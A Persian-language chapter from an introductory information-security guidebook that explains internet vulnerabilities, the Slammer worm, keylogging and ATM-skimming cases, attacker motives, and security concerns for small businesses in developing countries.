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شما وصل شده و از آن خـدمات          تواند به رايانة      جانب شما مي  
اينترنت توسط كـاربران قابـل كنتـرل و شـنود           . استفاده نمايد 

توانيد انتخـاب كنيـد       است، اما در بسياري از كشورها شما مي       
هاي ارسـاليتان بـراي مقابلـه بـا شـنود           كه پيامها و ساير داده    
  .رمزگذاري شوند يا خير

باشد، هرچنـد   بعلاوه غربال كردن پيامها تحت كنترل شما مي      
توانيد از يك منبع خـارجي درخواسـت كنيـد اينكـار را            كه مي 

 خـود بخواهيـد كـه       ISP مـثلاً از     -براي شـما انجـام دهـد        
امهاي نامطلوب را براساس ضـوابطي كـه خودتـان تـدوين            پي

  .كنيد غربال نمايد مي

توانيـد بـه آسـاني و بـا           اينترنت يك رسانة تعاملي است؛ مـي      
سرعت چندين پايگاه وب را مشاهده كنيد، يا از افراد بسياري           

از . پيامهاي الكترونيكي دريافت و يا به آنها پيام ارسال نماييد         
ر براي خدمات بـرخط بـستگي بـه ميـزان     آنجا كه زمان انتظا   

پهناي باند خط ارتباطي شما دارد، ممكن است دريافت پاسـخ           
  .از اين خدمات كمي طول بكشد

پذير باشد؛ چراكه در ابتدا اساس آن بر        تواند آسيب   اينترنت مي 
ارائه خدمات به گروههاي همكار و نسبتاً مـشابه مـردم قـرار             

هاي تصديق هويت مطمئن، داشت و بجاي استفاده از مكانيزم   
پـذيريهاي   ايـن كتـاب آسـيب   . شـد در آن به همه اعتماد مـي      

ــه شــما شناســانده و مجموعــه  اي از الگوهــاي  اينترنــت را ب
ــاهش      ــما در ك ــه ش ــك ب ــراي كم ــي را ب ــرآمدي امنيت س

  .كند پذيري ارائه مي آسيب

هـاي فـوق تـاكنون بايـد در ذهـن خـود               بر اساس مشخـصه   
 باشيد كه در آن هـر نـوع فعاليـت           تصويري از اينترنت داشته   

مجاز است و چيزي در آن محدوديت نـدارد و تحـت كنتـرل              
ــشه .نيــست ــاز بخــوبي ري هــاي پژوهــشي و   ايــن فــضاي ب

دهد و فوايد آنرا بـراي تمـامي   دانشگاهي اينترنت را نشان مي   
اينترنـت بـا هـدف برقـراري امنيـت          . نماياند  اقشار جامعه مي  

يش ثمرات فعاليتهـاي مـشترك      طراحي نشده، بلكه براي افزا    
اين ميـزان آزادي عمـل فرصـتهايي بـراي          . بوجود آمده است  

ها سوء استفاده كننـد و        كند كه بتوانند از شبكه      افراد ايجاد مي  
ما ابتـدا بايـد ماهيـت       . به ديگران آسيبهاي جدي وارد نمايند     

هاي خود    ها را درك كرده و سپس شبكه        اين نوع سوء استفاده   
  .آنها امن كنيمرا در مقابل 

  موضوعات مطرح در حوزة امنيت اطلاعات
ها در فضاي سايبر هماننـد        ، شبكه و امنيت داده      مفاهيم رايانه 

سـازي روالهـاي    دنياي واقعي هستند، ولي مكانيزمهاي پيـاده      
مثلاً براي اسـتفاده از حـسابهاي       . مرتبط با آنها متفاوت است    

مات را فـراهم    كاربري كه اجازة دسترسي به اطلاعات يا خـد        
آورند، به جاي كليـدهاي فيزيكـي يـا الكترونيكـي، داراي              مي

 هـستيم و بجـاي اسـتفاده از         ٤٣رمز عبـور   و   ٤٢شناسة كاربري 
توانيم دادة انتقـالي      پاكتهاي دربسته براي انتقال اطلاعات مي     

را به نحوي رمزگذاري كنيم كه توسط افراد ناشناس، غيرقابل    
  .خواندن باشد

تـوانيم تخلفـات    ي واقعي با فضاي سـايبر مـي      در مقايسة دنيا  
در . مشابهي را در مورد قابليت اطمينان و محرمـانگي ببينـيم          

هر دوي آنها ممكن است آدرسهاي نادرست و يـا امـضاهاي            
در هر دو فضا امكان ارائه اطلاعـات        . جعلي وجود داشته باشد   

همچنـين امكـان    . كننده نيز وجود خواهد داشت      غلط يا گمراه  
 چــه بــصورت -تباه انــداختن اشــخاص بـا اطلاعــات  بـه اش ــ

شـود   وجود دارد كه باعـث مـي       -تصادفي و چه از روي عمد       
نتــوان تعيــين كــرد كــه چــه اطلاعــاتي مهــم و قابــل تأييــد 

 دست آخر اينكه در هـر دو فـضا امكـان دسترسـي              ٤٤.هستند
غيرمجاز به اطلاعات محرمانه و استفاده از آنها براي مقاصـد           

  . وجود داردغيرقانوني نيز

اما با همة اين شباهتها سه تفاوت عمده ميـان ايـن دو فـضا               
  :شودمشاهده مي

توانـد بـسيار      هر نوع نقض امنيت در فـضاي سـايبر مـي          : اول
يعني تا زمانيكه بخواهيد آگـاه شـويد چـه           سريع اتفاق بيافتد؛  

هاي شما افتاده، ممكن است ديگر بـراي          اتفاقي براي سرمايه  
البتـه  .  آمدن خسارت بسيار ديـر شـده باشـد         جلوگيري از وارد  

افتند؛ بلكه بعـضي از آنهـا در          تمامي حملات سريع اتفاق نمي    
اند و براي به نتيجه رسـيدن زمـان           هنگام وقوع قابل مشاهده   

                                                                  
42  Username 
43  Password 

كاپيتان كشتي معروف تايتانيـك از راديـوي اوليـه بـراي برقـراري                ۴۴
منشي راديو كه اولين سفر . كردي با ساحل استفاده مي  تماس از كشت  

كـرد آنقـدر پيامهـاي شخـصي دريافـت          دريايي خود را تجربـه مـي      
 هشدار در مورد يك كوه يخـي بـزرگ          -نمود كه يك پيام مهم       مي

 بعنوان يك پيام مهم و شايـستة پيگيـري          -در مسير حركت كشتي     
خي برخورد كـرد و     نتيجه اين بود كه كشتي با كوه ي       . شناسايي نشد 

  .چند ساعت بعد غرق شد
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شـود آن     درسي كه از اين مطلـب گرفتـه مـي         . برندزيادي مي 
 است كه تدابير امنيتي و بازدارنده بايد از استيلاي كافي براي          
تشخيص نقض حريم امنيتي در حين وقوع جرم يا پس از آن            

  .برخوردار باشند

 كه در اوايل سـال      Slammerبه گزارشهاي زير دربارة كرم      
 ميلادي باعث خرابي شديد در كار اينترنت شـد توجـه            ۲۰۰۳
در اثر فعاليتهاي اين كرم، كشورهاي زيـادي از تمـامي           . كنيد

مـدة خرابيهـا نـصيب      پنج قارة جهان آلوده شـدند و بخـش ع         
  :كشورهاي درحال توسعه شد

Slammer)     كه گاهي اوقاتSapphire   شـود    نيز ناميده مي (
اي اســت كــه در طــول حيــات  ســريعترين كــرم رايانــه

با شـروع گـسترش آن در سراسـر         . ها منتشر شده   رايانه
پذير در عرض      آسيب ٤٥ميزبانهاي% ۹۰اينترنت، بيش از    

مر موجب اختلال در انجام      دقيقه آلوده شدند و اين ا      ۱۰
داد و سـتدهاي مــالي و امــور حمـل و نقــل مؤســسات   

العمـل انـساني بـاقي       دولتي شد و جـايي بـراي عكـس        
  ...نگذاشت

Slammer ۵:۳۰ قبــل از ســاعت UTCروز شــنبه ٤٦ 
ــه ۲۵ ــره ۲۰۰۳ ژانوي ــا به ــيلادي ب ــك  م ــرداري از ي ب

هـاي     بـا نفـوذ بـه رايانـه        ٤٧سرريزي بـافر   پذيري  آسيب
 Microsoft SQLافـزار   ينترنـت كـه نـرم   متصل به ا

Server يا Microsoft SQL Desktop Engine 

2000 (MSDE)كردند نفوذ كرد و به آرامي   را اجرا مي
. هـاي ميزبـان نمـود       اقدام به آلوده ساختن تمامي رايانه     

 مـيلادي ايـن     ۲۰۰۲ در جولاي سـال      ٤٨ديويد ليچفيلد 
قبـل از  پذيري را كشف كرد و مايكروسـافت نيـز      آسيب

اي بــراي اصــلاح آن   وصــلهSlammerانتــشار كــرم 
  ٤٩.منتشر كرده بود

طبق گزارشهاي رسمي كرم مذكور بـا اسـتفاده از ايـن            
 هزار رايانة ميزبان را آلوده كرد       ۷۵پذيري حداقل     آسيب

 - كه البته تعداد واقعي بسيار بيش از اين ميزان است        -
نتـايج  و موجب اختلال شديد در كـار اينترنـت و بـروز             

                                                                  
45  Hosts 
46  Universal Time Coordinated 
47  Buffer Overflow Vulnerability 
48  David Litchfield 
49  http://www.microsoft.com/security/ 

slammer.asp 

اي چون لغو پروازهاي هوايي، اختلال در         نشده  بيني  پيش
انتخابات، و بروز اشكال در كار دسـتگاههاي خـودپرداز          

  ٥٠.شد

لازم نيست شما در يك محل بصورت فيزيكـي حـضور           : دوم
. دار كنيـد  داشته باشيد تا بتوانيد امنيت فضاي سايبر را خدشـه         

توانـد امنيـت       مـي  اين بدان معناست كه مثلاً يك نفر در اروپا        
هاي يك هدف در هند را به آسانيِ كـسي كـه در هنـد                 رايانه

تنها به اندازه عـرض يـك خيابـان بـا آن هـدف فاصـله دارد        
تواند از هـر      تهديد امنيتي در فضاي سايبر مي     . دار نمايد   خدشه

جاي شبكه شروع شود و به سمت هدفي معلـوم و مـشخص             
ورت تـصادفي  توانـد بـص  گيري كنـد؛ و هـدف نيـز مـي          جهت

شوند كـه   اين تهديدات خطرناك باعث مي    . انتخاب شده باشد  
تـوان  مـي . ما نحوة تفكر خود در مورد امنيت را تغييـر دهـيم           

نامـة حـق تكثيـر      گفت اين هيچ ارزشـي نـدارد كـه در آيـين           
Digital Millennium  شـكن   افزارهـاي قفـل    طراحـي نـرم

هاي ملي و    غيرقانوني اعلام شود؛ چراكه درحال حاضر كميته      
جهاني حق تكثير در اين موضـوع و سـاير مـوارد مـرتبط بـه                

ها، هنوز مشغول تـدوين راهكارهـاي اجرايـي           حفاظت از داده  
  ٥١.هستند

فضاي سايبر محيطـي قدرتمنـد امـا پيچيـده را بوجـود             : سوم
. آورده كه در آن نقش تأمين امنيت بر عهدة چند بازيگر است           

 باشـيد، راههـاي     ISP مثلاً اگر شـما يكـي از كـاربران يـك          
ِرو تـان پـيش  مختلفي براي حفاظت از خود و رايانـه شخـصي    

 مورد استفادة   ISPتوانيد سياستهاي امنيتي      داريد؛ هرچند نمي  
توانيـد    همچنين نمي . سازي آنرا كنترل كنيد     خود يا نحوة پياده   

افزارهاي مشتريان خود را تحت كنترل داشته باشيد؛ حتي           نرم
پس بايد يـك    . ديك با سيستمهاي آنها باشيد    اگر در ارتباط نز   

هايتـان اتخـاذ كنيـد، چراكـه          استراتژي حفاظتي براي سرمايه   

                                                                  
50  Moore, Paxson, Savage, Shannon, Staniford 

and Weaver,"Inside the Slammer Worm,"IEEE 
Security and Privacy,Vol.1,No.4,July/August 
2003, pp.33-39. 

توانيد به مراجـع  براي دستيابي به نظرات جديد در مورد اين سند مي         ٥١
  :زير مراجعه كنيد

U.S. Copyright Office Digital Millennium 
Copyright Act Study: 
http://www.copyright.gov/reports/studies/dmca
/dmca_study.html 
DMCA: 
http://www.copyright.gov/legislation/hr2281.pdf 
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شود نتوانيـد   دانيد برقراري ارتباط با دنياي بيرون باعث مي       مي
  .پذيريهاي شبكه را خنثي نماييد تمام آسيب

مخــاطرات محتمــل در فــضاي ســايبر چيــستند؟ اگــر هــيچ  
ظر قرار نداده باشيد بعضي نتايجي كـه        ملاحظة امنيتي را مد ن    

  :ممكن است به بار بيايند عبارتند از

شـده روي رايانـة     هاي ذخيـره     داده - تخريب اطلاعات 
البتـه معمـولاً امكـان      . شما ممكن اسـت حـذف شـوند         

بـر و احتمـالاً       بازيابي آنها وجود دارد، اما فرآيندي زمان      
ممكـن  اگر يك مؤسسة دولتي باشيد   . ناقص خواهد بود  

  .است فعاليتهايتان حين اين دوره دچار اختلال شود

 ممكـن   - سرقت اطلاعات و نقـض حـريم خـصوصي        
است از سرقت اطلاعات بلافاصله يـا بـا تـأخير مطلـع             
شويد و اين مسئله از اينكـه متوجـه شـويد چـه كـسي               

هاي شـما را در اختيـار گرفتـه، چـه اطلاعـاتي در                داده
رهـايي انجـام خواهـد داد       اختيار اوست، يا با آنها چه كا      

اگر حجم وسيعي از اطلاعات شخصي      . كاملاً مجزاست 
شما بـه سـرقت رفتـه باشـد بـه احتمـال زيـاد سـارق                 
اطلاعات كليدي شـما را در اختيـار دارد و همـين امـر              

اي خطرنـاك در پـي        تواند نتايجي نامعلوم و تا اندازه       مي
  .داشته باشد

 در رايانه    اطلاعات موجود  - نقض يكپارچگي اطلاعات  
ممكن است بدون اطلاع شما تغيير كننـد و دسـتكاري           

كنيـد    بر اساس نوع اطلاعاتي كه نگهـداري مـي        . شوند
. تواند مقطعي يا درازمدت باشـد       نتايج اين دستكاري مي   

،   ، اطلاعات مـشتريان     ها شامل سوابق مالي     اگر اين داده  
هـاي كارمنـدان باشـند،      وضعيت سفارشـات يـا پرونـده      

 نقض يكپـارچگي آنهـا ممكـن اسـت بـسيار            پيامدهاي
  .پرهزينه و زيانبار باشد

 ها  نقض انسجام شبكه از طريق ساير سيستمها و شبكه        
 هرچند در اين مورد به طور مستقيم مورد حمله قـرار            -

هاي ديگري كـه بـه        ايد، ولي ممكن است رايانه    نگرفته
ايد مورد حملـه قـرار گيرنـد و ايـن           آنها دسترسي داشته  

در اينـصورت اگـر   .  روي شما نيز تأثيرگذار باشـد      مسئله
مثلاً يك مؤسـسة مـالي و اعتبـاري باشـيد حـين دورة            
بازيابي اطلاعات قادر به تكميل تراكنشهاي مالي خـود         

  .نخواهيد بود

توانند روي رايانـة     افزارهاي پنهاني مي   نرم -ثبت كليدها 
كليـد  هاي صفحه شدن دكمهشما نصب شوند كه فشرده     

ديگـر    اي   ما را ثبت كـرده و آنهـا را بـه رايانـه            توسط ش 
تواند دسترسـي بـه منـابع         اين مسئله مي  . ارسال نمايند 

 ٥٢دهنـدة وب    سـرويس خارجي نظير دسترسي بـه يـك        
دهنـدة پـست      شده، دسترسي به يك سرويس    محافظت

ــت    ــا درياف ــالي، و ي ــالات م ــل و انتق ــي، نق الكترونيك
 اينحالـت   در. اطلاعات محرمانه را دچـار اشـكال كنـد        

، شمارة كارت   ٥٣نشانهاي تصديق هويت  تواند  سارق مي 
اعتباري، و رمزهاي عبور شما را بدست آورد و در آينده           

  .براي منافع شخصي خود مورد استفاده قرار دهد

 ممكـن اسـت شـما از دسترسـي بـه         - ٥٤منع دسترسي 
اطلاعات خود محروم شـويد، حتـي اگـر آن اطلاعـات            

كـان دارد اطلاعـات شـما در        مثلاً ام . پاك نشده باشند  
اي ظاهر شـوند و تنهـا مهـاجم         شدهقالبهاي رمزگذاري 

  .كليد رمزگشايي آنها را در اختيار داشته باشد

آميز از هـر يـك از ايـن حمـلات قابـل               هزينة ترميم موفقيت  
. آيـد   ملاحظه است و بازيابي در برخي موارد ناممكن بنظر مي         

اي د كه بـه منـابع داده      اگر شما مدير يك رسانة تبليغاتي باشي      
الكترونيكي خود وابـستگي شـديد دارد، يـك حملـة مخـرب             

توجه داشـته   . تواند موجب ورشكستگي مؤسسه شما گردد       مي
كـرد كـه       سيستمهايي را آلوده مي    Slammerباشيد كه كرم    

  .شده توسط مايكروسافت روي آنها نصب نشده بودوصلة ارائه

ــيش از ي   ــه ب ــي ك ــاي امنيت ــي از نفوذه ــت يك ــسال فعالي ك
آميز داشت روشهاي نويني را به تصوير كشيد كـه بـا             موفقيت
  :دار كردتوان امنيت را در فضاي سايبر خدشهآنها مي

 بـراي بـيش از يكـسال،    -) نيويـورك (آسوشيتد پـرس     "
 ٥٦هـاي   پايانه بدون اطلاعِ افرادي كه از       ٥٥جوجو جيانگ 
ه  در نيويورك استفاد   ٥٧فروشگاههاي كينكو اينترنتي در   

. كرد  كردند را ثبت مي     كردند، آنچه كه آنها تايپ مي       مي
افزاري را در حداقل چهارده       جيانگ بصورت مخفيانه نرم   

توانست فشردن    فروشگاه كينكو نصب كرده بود كه مي      
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ايـن نـرم افـزار در طـول         . كليدهاي افراد را ثبت نمايد    
 شناسة كاربري و رمز     ۴۵۰فعاليت يكسالة خود بيش از      

كــرده و از آنهــا بــراي دسترســي و حتــي عبــور ثبــت 
  .نمودبازكردن حسابهاي بانكي برخط استفاده مي

اين پرونده كه در اوايـل ايـن مـاه پـس از دسـتگيري                
جيانگ منجر به تعيين مجازات براي وي شد خطرهاي         

هـا،    نـت   هاي عمومي اينترنت در كـافي       استفاده از پايانه  
ا آشـكار   هـا، فرودگاههـا و ديگـر مؤسـسات ر           كتابخانه

 مهنـدس پـژوهش در مؤسـسة        ٥٨نيـل مهتـا   . سـازد   مي
هنگـام  "دهد كه      هشدار مي  ٥٩سيستمهاي ايمن اينترنتي  
هاي عمومي از دانشِ عرفـي      استفاده از هر يك از پايانه     

بـراي بـسياري از ارتباطـات روزمـره         . خود بهره بگيريد  
نظير اتصال بـه وب ممكـن اسـت بـا مـشكلي مواجـه               

هـر كـاري كـه ممكـن اسـت          نشويد اما بـراي انجـام       
جيانـگ  . "حساسيت ايجاد كند ابتـدا كمـي فكـر كنيـد          

زماني دستگير شد كه مطابق سوابق موجـود در دادگـاه           
از يكي از رمزهاي عبور مـسروقه بـراي دسترسـي بـه             

 اسـتفاده   GoToMyPCاي مجهز به نـرم افـزار          رايانه
دهد كه از راه  اين نرم افزار به افراد امكان مي      . كرده بود 

. دور و از هر مكاني به رايانة خود دسترسـي پيـدا كننـد             
 روي رايانــة وي GoToMyPCشخــصي كــه برنامــة 

نصب شده بـود در زمـان وقـوع جـرم در خانـه بـود و                 
او روي صـفحه      نمـاي رايانـة       ناگهان متوجه شد مكـان    

. شروع به حركت كرد و فايلها خود به خـود بـاز شـدند             
 ـ          ام او در يـك     سپس ديد كه يك حساب بانكي بـاز و ن

جيانـگ كـه منتظـر      . سرويس خريد اينترنتي درج شـد     
صدور حكم دادگـاه اسـت، نهايتـاً در چهـاردهم فوريـه             

كننـدة كليـد    افزار مخفي ثبت   به نصب كردن نرم    ۲۰۰۱
  ٦٠.در فروشگاههاي كينكو اعتراف كرد

اين كتاب راهنمايي دربارة امنيت كاربران هم در محيط خانـه           
باشد و لذا حاوي اطلاعات وسيعي        يو هم در محيط تجاري م     

دربارة موضوعات امنيتـي ماننـد مخـاطرات، نتـايج حمـلات،            
هــا، و نيــز  هــا و داده هــا، شــبكه روشــهاي حفاظــت از رايانــه

سازيِ استراتژيِ امنيتـيِ      سياستهايي است كه بايد قبل از پياده      
  هـدف نهـايي ايـن كتـاب       . مؤثر مـورد بررسـي قـرار گيرنـد        
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شده در محيطهاي ديجيتالي    ن از منابع ارائه   دور ساختن كاربرا  
جديد نيست، بلكه قدرت بخـشيدن بـه كـاربران بـراي لـذت              

در . بردن از اين دنياي نوين به روشي ايمن و مطمـئن اسـت            
توان گفت هدف از انتـشار ايـن كتـاب توسـعة            يك كلام مي  

گرايانه و عميق از ماهيت مشكلات امنيتي موجـود           درك واقع 
پذيريها و افزايش نقاط قـوت فنـاوري         آسيب به منظور كاهش  

  .باشد اطلاعات و ارتباطات مي

  انگيزة خرابكاران امنيتي چيست؟
هاي زيادي براي انجام تخلفات جنايي در زندگي واقعي انگيزه   

يكي از دلايل عمـده،  . عليه يك شخص يا سازمان وجود دارد 
كنـد بـه او     انتقامگيري فرد خرابكار از شخصي كـه فكـر مـي          

  .آوردن پول است آسيبي رسانده، و يا بدست

نظير همين تخلفات نيز در فضاي سايبر وجود دارد، اما تخلف           
فضاي سايبر براي گروهي  . در اين فضا از جنس ديگري است      

شـوند و قادرنـد وارد       ناميده مي " خرابكار" كه عموماً    -از افراد   
ي به  حسابهاي كاربري افراد شوند و يا بعنوان تفريح و سرگرم         

.  يك محيط چالش برانگيز اسـت      -افراد ديگر آسيب برسانند     
بعبــارت ديگــر، آنهــا قــدرت نفــوذ بــه حــسابهاي كــاربري،  

اي را يك افتخار براي خود        پايگاههاي داده و تجهيزات شبكه    
  .مشابه اين رفتار در دنياي واقعي بسيار نادر است. دانندمي

بـه  " ات بدون قرباني  جناي"خرابكارها معمولاً فعاليتهاي خود را      
استدلال آنها اين است كه وقتي يك حساب        . آورندحساب مي 

گيـرد ولـي چيـزي      كاربري يا پايگاه داده مورد نفوذ قرار مـي        
شود چـه آسـيبي بـه كـسي وارد          يابد و دزديده نمي   تغيير نمي 

شده است؟ در واقع اين افراد به تأثيرات حقوقي و پيامـدهاي            
به احـساس نـاامني قربانيانـشان كـه         كنند و   اينكار توجه نمي  

. دهنـد   شود نيـز اهميتـي نمـي      ناشي از انجام اين فعاليتها مي     
مشابه اين رفتار در دنياي واقعي مثل اين است كه فردي وارد            
خانة شما شود و هر زمان كه بخواهد نيز بتواند اينكار را تكرار        

   .مسلماً اين مسئله براي شما غيرقابل تحمل خواهد بود. كند

. كنـد   متأسفانه اينترنت به ناقضان امنيت كمـك زيـادي مـي          
برخــي از خرابكارهــا داراي ابزارهــاي نفــوذ هــستند كــه بــه  

آميز از برخي   برداري موفقيت كار هم امكان بهره     نفوذگران تازه 
چنين ابزارهايي معمولاً به گروههاي     . دهدپذيريها را مي  آسيب

شوند و    تاده مي  كه بسيار مشهور هستند فرس     Usenetخبري  
تواننـد ابـزار را از آنجـا پيـدا كـرده و مـورد         افراد مختلف مـي   
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از آنجا كه بسياري از ايـن ابزارهـا ممكـن           . استفاده قرار دهند  
است بدون خطر باشـند، هرگـز كـسي مطمـئن نيـست آثـار               

عـلاوه بـر آن ايـن       . استفاده از هريك از آنهـا دقيقـاً چيـست         
ييراتي در بعضي از ايـن ابـزارِ        امكان وجود دارد كه با انجام تغ      

ها و حسابهاي كاربري كـه        خطر بتوان به رايانه   اصطلاح بي به
در . اند آسيب وارد كرد   از طريق آنها مورد دسترسي قرار گرفته      

  :ادامه، يك نمونه از اين موارد ذكر شده است

اي  مركز فوريتهـاي امنيـت رايانـه       CA-203-18سند  
 نيز  CNet كرده، و     را مستند  Windowsآخرين حفرة   

پذيري براي برداري از اين آسيبگزارش داده كه با بهره
آسـا و حملـة        راه براي ظهور بـرق     Windowsنفوذ به   

  :شودشديد يك كرم ديگر هموار مي

انـد كـه يـك گـروه از           پژوهشگران امنيتي هـشدار داده    
انـد كـه بـراي سـوء        اي منتـشر كـرده    نفوذگران برنامـه  

 طراحي شـده    Windowsل عمدة   استفاده از يك اشكا   
و راه را براي انجام يك حملـة بـزرگ تـا اواخـر هفتـة                

اين هشدار روز جمعه اعلام شد؛ بعـد        . كند  جاري باز مي  
 مـتن  X Focusاز آنكه نفوذگران چيني گروه امنيتـي  

اي را براي چندين مركز امنيتي دنيا منتشر كردند         برنامه
عامـل  اراي سيستم هاي د   كه با طراحي ماهرانه به رايانه     

Windowsكرد نفوذ مي.  

ــود در X Focusبرنامـــة گـــروه   از اشـــكال موجـ
كنـد و بـه     بـرداري مـي   عامل مايكروسافت بهره   سيستم

. دهـد   نفوذگران امكان نفوذ به سيستم از راه دور را مـي          
ايــن اشــكال توســط چنــد نفــر از متخصــصين بعنــوان 

 يافـت   Windowsبزرگترين اشكالي كه تـا كنـون در         
  ٦١.شده معرفي شده است

اي انجـام     حملات روزافزوني كه توسط افراد نـسبتاً غيرحرفـه        
  .دار است شوند نيز ماجرايي طولاني و دنباله مي

هـا و     البته تمـامي نقـض حريمهـاي امنيتـي مخـتص رايانـه            
نيـز تـا كنـون بـراي         دستگاههاي خـودپرداز  . اينترنت نيستند 

در يك  . اندر گرفته سرقت اطلاعات محرمانه مورد استفاده قرا     
سارقين اقدام به نـصب     )  ايالات متحده  ٦٢كانكتيكات ايالتدر  (مورد  

. در يك مركز خريد كردنـد      دستگاهي شبيه دستگاه خودپرداز   
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هنگاميكه مردم براي گـرفتن پـول از ايـن ماشـين كـارت و               
كردند، اين دستگاه جعلي با ذخيـرة         شمارة رمز خود را وارد مي     

اي غيرمجاز بعدي به ايـن حـسابها را         رمزهاي عبور دسترسيه  
كرد، اما چون اتصالي با مراكز واقعي اعتبـاري         بسيار ساده مي  

در يك مورد ديگـر     . نداشت قادر به تكميل عمليات مالي نبود      
به نحوي استفاده كردند كـه       سارقين از دستگاههاي خودپرداز   

امكان انتقال پول هم وجود داشته باشد، اما مـدتي بعـد و بـا               
  .نمودندشده اقدام به سرقت ميفاده از اطلاعات ثبتاست

اگرچه بيشتر جرائمِ قابلِ مشاهده در دنياي سايبر توسط افـراد    
شود، ولي سازمانها و مؤسـسات نيـز قـادر بـه سـوء                انجام مي 

استفاده از خصوصيات ايـن فـضا بـراي رسـيدن بـه اهـداف               
شـده ممكـن اسـت      جـرائم سـازماندهي   . سازماني خود هستند  

تكاري در شبكة اينترنت براي رسيدن بـه نتـايج مطلـوب            دس
تواند باعث ارتكاب جرم عليـه ديگـران نيـز            باشد، اما مي    آنها  
ممكن است برخي سازمانها علاقـه داشـته باشـند كـه            . بشود

نتيجة يك نظرسنجي يا حتي انتخابات را دستكاري كننـد تـا            
ضر برخي از مؤسسات درحال حا    . به نتايج مطلوب خود برسند    

اند و ممكـن    گذاري زيادي انجام داده   روي اين مسئله سرمايه   
  .است بتوانند تا مدتها آنرا همچنان با قوت ادامه دهند

واضح است كه منافع بالقوة موجود در عـصر نـوين ديجيتـال             
سـازي   بسيار حائز اهميت اسـت كـه بـا ايمـن    . بيشمار هستند 

اطي و منـابع    ها، خطوط ارتب    محيط فيزيكي، زيرساختها، رايانه   
اولين گام در انجام    . اطلاعاتيِ خود از اين منافع حفاظت كنيم      

اين مهم رسيدن به سطح شناخت كافي و صحيح از فنـاوري            
تواند در اتخاذ تصميمات عاقلانه دربارة چگونگيِ         است كه مي  

بـسياري  .  رسيدن به سطح مطلوبي از امنيت به ما كمك كند         
ممكـن  : را بـر عهـده داريـم    از ما در اين زمينه چندين نقـش         

است بعنوان يك كاربر عادي از اين منابع اسـتفاده كنـيم، در             
قبال سيستمهاي ديجيتال و خدمات موجود در يـك سـازمان           
مسئوليت داشته باشيم، و يا به همكاري بـا دولـت در اجـراي              

  .مند باشيمسياستهاي حمايتي از امنيت علاقه

ل تحقق سطح مطلوبي    همة ما در هريك از اين نقشها در قبا        
متأسـفانه امنيـت در يـك محـيط         . از امنيت مسئول هـستيم    

پيچيده معمولاً به اندازة امنيـت ضـعيفترين جـزءِ آن محـيط             
استحكام دارد؛ از اينرو بايد مطمئن شويم كه اجزاي محيطـي           
كه روي آن كنترل داريم آنقدر قوي هـستند كـه ضـعيفترينِ             

https://telegram.me/karnil
www.karnil.com


  امنيت فناوري اطلاعات در عصر ديجيتال: بخش اول

 

٤١  

ش
بخ

 
ول

ا
  

 تهديـدات موجـود برخـوردار       آنها هم از توانايي دفاع در برابـر       
  .است

اهميت امنيت براي سازمانهاي كوچك و 
  متوسط در كشورهاي درحال توسعه

با اينكه امنيـت بـراي همـه حـائز اهميـت اسـت، امـا بـراي                  
سازمانهاي كوچك و متوسط كشورهاي درحال توسعه اهميت        

نتايج حاصل از ورود به بازار جهـاني بـا كمـك            . اي دارد   ويژه
عــات و ارتباطــات بــسيار مطلــوب اســت، ولــي فنــاوري اطلا

  .مخاطرات انجام اينكار بصورت ناامن نيز بسيار اساسي است

در بسياري از اصناف تجاري، عمليات دستي بـه مـديريت بـا             
هـاي مـستقل      از رايانـه  . ها تغيير يافتـه اسـت     استفاده از رايانه  

هــاي اقتــصادي كــشورهاي  تــوان در بــسياري از عرصــه مــي
با معرفـي   . زماني مشخص استفاده كرد    براي مدت  يافتهتوسعه

ي جديد، مديران به سمت و سوي كسب دانش و            ا  منابع رايانه 
، ٦٣گيـري پـشتيبان اطلاعات دربارة موضوعات كاربردي چون      

 ٦٤)بـازبيني  (مميـزي افزارها و     روزرساني نرم نگهداري شبكه، به  
كسب موفقيـت در همگـيِ مـوارد      . ي در حركت هستند     ا  رايانه

، شــبكه، و مفــاهيم امنيــت  فــوق مــستلزم آشــنايي بــا رايانــه
  .اطلاعات است

اي و امكان ورود به عرصـة تجـارت        با معرفي ارتباطات شبكه   
الكترونيكي، فرآيندهاي سيستم و فرآيندهاي مديريت بايـد از         

سيـستمهاي مـستقل عمومـاً    . دو ديدگاه متفاوت نظاره شـوند   
ثل انبارداري، سفارشات يـا     م(محور يا فرآيندمحور هستند     محصول

فرآيندهايي نظير توليد، ثبت در دفاتر عمـومي، و حـسابهاي پرداختنـي و              
، اما سيستمهاي موفق تجارت الكترونيكي برخط بـه         )دريـافتني 

در ايـن سيـستمها بـراي       . شوند  روش ديگري سازماندهي مي   
مـدار باشـد و     كسب موفقيت لازم است كه طراحـي مـشتري        

تـار مـشتري در فرآينـدهاي جـستجو و          سيستم به تعقيـب رف    
ارزيابي محصولات، ارائه سفارش، تكميل تراكنشهاي مـالي و    

در اين سيستمها نگراني    . شده بپردازد ردگيري محصول ارسال  
در مورد محصولات و فرآيندها همچنان مهـم اسـت، امـا در             
مقابلِ نياز به تعقيب رفتار مشتري در پايگاه وب و انجـام هـر              

كند در اولويت بعـدي     ه مشتري آنرا درخواست مي    اي ك معامله
اين طراحي مجدد براي دسـتيابي بـه موفقيـت          . گيردقرار مي 
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ضروري است، اما به يك راهكـار جـايگزين بـراي مـديريت             
درخواستهاي خريد مشتري نياز دارد؛ روشـي كـه اگـر بـدون             

سازي شود ممكن است راه را براي روشهاي          توجه كافي پياده  
  .اي امنيتي باز بگذاردجديد نفوذه

سازمانهاي كوچك و متوسـط بايـد آگـاه باشـند كـه اصـلاح               
ــت،     ــارگيري اينترن ــراي بك ــاري ب ــستمهاي تج ــرش سي نگ

يكـي از ايـن     . مخاطرات جديدي بـراي آنهـا بـه همـراه دارد          
احتمال بـه سـرقت رفـتن و در         : خطرات از همه جديدتر است    

در . كتهاي موجود در شـر      معرض فروش قرار گرفتن سرمايه    
شـده را محـصولات     عصري كـه كالاهـا و خـدمات فروختـه         

دهند، احتمال توزيع و تهيـة غيرقـانوني          اطلاعاتي تشكيل مي  
آنها بصورت رايگـان و يـا در بـازار سـياه وجـود دارد كـه در                  

رسد، و نه به شركتي كـه         اينحالت منافع اينكار به سارقان مي     
  .اطلاعات را توليد كرده است

تـوان    برداري غيرقانوني كه امـروزه مـي       نسخه بارزترين نمونة 
مشاهده كـرد در صـنعت موسـيقي رواج دارد كـه بـه توزيـع                
محصولات مسروقه و غالباً هم در قالب ديسك فشرده منجـر     

هـاي ديجيتـالي      درحال حاضر حفاظت از سـرمايه     . شده است 
باشد، هرچنـد بـراي حـل آن اقـدامات          نشده مي اي حل   مسئله

ديرزماني است كه از محـصولات      .  است زيادي صورت گرفته  
